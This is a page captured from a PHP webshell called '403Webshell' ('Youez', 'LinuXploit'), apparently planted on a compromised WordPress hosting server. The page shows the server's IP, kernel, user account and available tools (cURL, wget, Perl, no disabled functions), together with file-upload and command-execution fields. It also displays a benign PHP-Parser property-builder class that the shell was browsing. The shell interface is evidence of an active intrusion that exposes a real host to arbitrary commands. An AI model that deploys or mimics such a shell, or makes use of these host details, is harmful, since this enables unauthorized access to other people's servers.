403Webshell
Server IP : 68.178.247.200  /  Your IP : 216.73.216.58
Web Server : Apache
System : Linux p3plzcpnl489463.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : x9dppmxs4rgd ( 8559391)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/cwd/wp-content/plugins/wpide/PHP-Parser/lib/PHPParser/Builder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/cwd/wp-content/plugins/wpide/PHP-Parser/lib/PHPParser/Builder/Property.php
<?php

class PHPParser_Builder_Property extends PHPParser_BuilderAbstract
{
    protected $name;

    protected $type;
    protected $default;

    /**
     * Creates a property builder.
     *
     * @param string $name Name of the property
     */
    public function __construct($name) {
        $this->name = $name;

        $this->type = 0;
        $this->default = null;
    }

    /**
     * Makes the property public.
     *
     * @return PHPParser_Builder_Property The builder instance (for fluid interface)
     */
    public function makePublic() {
        $this->setModifier(PHPParser_Node_Stmt_Class::MODIFIER_PUBLIC);

        return $this;
    }

    /**
     * Makes the property protected.
     *
     * @return PHPParser_Builder_Property The builder instance (for fluid interface)
     */
    public function makeProtected() {
        $this->setModifier(PHPParser_Node_Stmt_Class::MODIFIER_PROTECTED);

        return $this;
    }

    /**
     * Makes the property private.
     *
     * @return PHPParser_Builder_Property The builder instance (for fluid interface)
     */
    public function makePrivate() {
        $this->setModifier(PHPParser_Node_Stmt_Class::MODIFIER_PRIVATE);

        return $this;
    }

    /**
     * Makes the property static.
     *
     * @return PHPParser_Builder_Property The builder instance (for fluid interface)
     */
    public function makeStatic() {
        $this->setModifier(PHPParser_Node_Stmt_Class::MODIFIER_STATIC);

        return $this;
    }

    /**
     * Sets default value for the property.
     *
     * @param mixed $value Default value to use
     *
     * @return PHPParser_Builder_Property The builder instance (for fluid interface)
     */
    public function setDefault($value) {
        $this->default = $this->normalizeValue($value);

        return $this;
    }

    /**
     * Returns the built class node.
     *
     * @return PHPParser_Node_Stmt_Property The built property node
     */
    public function getNode() {
        return new PHPParser_Node_Stmt_Property(
            $this->type !== 0 ? $this->type : PHPParser_Node_Stmt_Class::MODIFIER_PUBLIC,
            array(
                new PHPParser_Node_Stmt_PropertyProperty($this->name, $this->default)
            )
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit